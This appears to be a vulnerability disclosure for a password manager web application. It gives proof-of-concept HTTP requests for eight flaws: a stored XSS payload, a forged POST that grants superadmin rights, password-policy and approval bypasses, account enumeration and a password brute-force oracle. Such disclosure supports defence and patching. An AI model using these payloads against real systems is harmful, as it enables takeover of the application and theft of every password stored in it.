The exploit code is available here - https://github.com/s3bap3/pmp-exploit [Description of Vulnerabilities] (1) Stored XSS in /AddMail.ve. This functionality is under the personal accounts stored in the application. However, as the page is also vulnerable to CSRF, an html form can be forged to create a personal account an exploit the XSS vulnerability. The affected parameter is "password", and the POST message to send is something like this [PoC] POST /AddMail.ve?SUBREQUEST=XMLHTTP HTTP/1.1 service=1&serviceurl=1&loginname=1&password=<!--+--+--><script>alert%28'XSS'%29;<%2fscript><!--+--+-->&spassword=&tags=1&Rule=Low&FORWARDURL=MailAccount.cc%3F (2) Privilege escalation in /EditUser.do that allows to do 2 things. a- Hijack user's sessions by changing their emails and accessing the forgot password functionality. The affected parameter is "EMAIL" from the /EditUser.do web page. Any user (even PASSWORD USER's role) could send a craft POST method like the one below in order to change the user email address, which is being used to generate a new user password when the previous one was forgotten. The only attribute that needs to be changed from one request to another is the LOGINID, which is a sequence number that represent the User numeric ID. b- Escalate privileges by changing the user account status from Password user to superadmin. By forging a similar request it is possible to raise our own privileged to become a privileged user. For example, the parameter "ROLE" can be changed to "Password Auditor" "Password Administrator" or even "Administrator " and become it. It is also possible to become a superAdmin by changing the parameter "superAdmin" from false to true. This will allow us to take control of the application and all the passwords stored on it. In order to become superAdmin, the user role needs to be Administrator. Both can be achieved by forging the same request. In this scenario there are two parameters to be aware of. - USERID and LOGINID is the numeric account id to which the superadmin attribute will be granted (could be obtained from the login reply) - USER is the username to which the superadmin attribute will be granted [PoC] POST /EditUser.do?SUBREQUEST=true HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------20780287114832 -----------------------------20780287114832 Content-Disposition: form-data; name="isloginusersa" false -----------------------------20780287114832 Content-Disposition: form-data; name="superadminscope" true -----------------------------20780287114832 Content-Disposition: form-data; name="SERVERPORT" 7272 -----------------------------20780287114832 Content-Disposition: form-data; name="OLDROLE" Administrator -----------------------------20780287114832 Content-Disposition: form-data; name="USERID" 4 -----------------------------20780287114832 Content-Disposition: form-data; name="LOGINID" 4 -----------------------------20780287114832 Content-Disposition: form-data; name="USER" username -----------------------------20780287114832 Content-Disposition: form-data; name="OLDLANG" en -----------------------------20780287114832 Content-Disposition: form-data; name="EMAIL" pwned@user.com -----------------------------20780287114832 Content-Disposition: form-data; name="ROLE" Administrator -----------------------------20780287114832 Content-Disposition: form-data; name="superAdmin" true -----------------------------20780287114832 Content-Disposition: form-data; name="Rule" Strong -----------------------------20780287114832 Content-Disposition: form-data; name="DEPT" -----------------------------20780287114832 Content-Disposition: form-data; name="LOCATION" -----------------------------20780287114832 Content-Disposition: form-data; name="mobileaccess" enable -----------------------------20780287114832 Content-Disposition: form-data; name="UserCert"; filename="" Content-Type: application/octet-stream -----------------------------20780287114832 Content-Disposition: form-data; name="lang_code" en -----------------------------20780287114832-- (3) Business Login Bypass in /EditUser.do The application allows only the creation of certain amount of Administrator, based on the licences. However it is possible to create more administrators. In order to exploit this go to the user administration page, and edit a user id. Save the edition without making any modification and intercept that POST message. Modify both parameters, "OLDROLE" and "ROLE" with the role "Administrator", and the user role will be changed to this one. Every user can be converted to an administrator even if the license does not allow that much. The application only check the amount of administrators when "ROLE" is Administrator but "OLDROLE" is another one. (4) Password policy bypass in /jsp/xmlhttp/AjaxResponse.jsp Every time a password for a user account or resource's user account is being changed, a request is sent to this path in order to validate the password against the password policy. Despite the fact the the password is being sent in the URL (this means it could be logged in any proxy or even in the browser), the policy against the password is being evaluated could by changed by modifying the parameter "Rule" from the value it currently has to "Low", in order to be evaluated with a lower policy. For example: [PoC] https://192.168.0.3:7272/jsp/xmlhttp/AjaxResponse.jsp?RequestType=validPassword&password=b&Rule=Low&AccName=a&ACCID=5 https://192.168.0.3:7272/jsp/xmlhttp/AjaxResponse.jsp?RequestType=validPassword&password=b&Rule=Low&AccName=a&AccName=5 (5) Horizontal privilege escalation in /jsp/xmlhttp/AjaxResponse.jsp When an administrator creates a Password Reset Listener, another administrator needs to approve it. The same happens when a Listener needs to be suspended. However this could be bypassed by creating and approving the listener by the same administrator. This could be achieved by forging a GET request like the following. The only parameter that needs to be changed is the "LISTENERID" which is a sequence number that represents the Listener. [PoC] Listener Approval https://192.168.0.3:7272/jsp/xmlhttp/AjaxResponse.jsp?RequestType=toggleListenerStatus&LISTENERID=4&ISAPPROVED=false&LISTENERTYPE=1&SUBREQUEST=XMLHTTP Listener Suspension https://192.168.0.3:7272/jsp/xmlhttp/AjaxResponse.jsp?RequestType=toggleListenerStatus&LISTENERID=4&ISAPPROVED=true&LISTENERTYPE=1&SUBREQUEST=XMLHTTP (6) Resource's users enumeration in /jsp/xmlhttp/PasswdRetriveAjaxResponse.jsp. It is possible to enumerate resource's user accounts by forging a GET request as follows. This URL allows, if a user has access, to retrieve the account password. However if a user does not have access, the error message changes if the user exists or not. The only parameters that needs to be modified are "Resource" and "Account". [PoC] https://192.168.56.101:7272/jsp/xmlhttp/PasswdRetriveAjaxResponse.jsp?RequestType=PasswordRetrived&resource=admin+resource&account=admin The error messages identifies if the account exists for that resource. Account exists: ____ACCESS___DENIED__ Resource/Account does not exists: FAILURE (7) Password Bruteforce for resources accounts in /jsp/xmlhttp/AjaxResponse.jsp It is possible to enumerate resource's user passwords by forging a GET request as follows. This URL is used in order to validate a user password against the password policy specified. By being able to change the password policy it is possible to use the "Low" policy which does not allow to reuse the password that is currently setup for the user. If an error message that the password could not be reused appears, that indicate that the password is the current password for that account. The only parameters that needs to be modified are "Password" and "ACCID", and ensure that the password policy "Rule" parameter is set to low. [PoC] https://192.168.56.101:7272/jsp/xmlhttp/AjaxResponse.jsp?RequestType=validPassword&password=2&Rule=Low&ACCID=8 The error messages identifies if the password is correct or not for every user account. Password matches: "Password cannot be same as last 1 passwords" Password does not match: "SUCCESS" Account ID does not exists: "Error in validating password policy" (8) Cross-Site Request Forgery The application is vulnerable to Cross-Site Request Forgery, which by sending specific POST messages it is possible create a user in the system (1), elevate privileges for a user (2)(4), and store a XSS in the user's personal passwords (3).
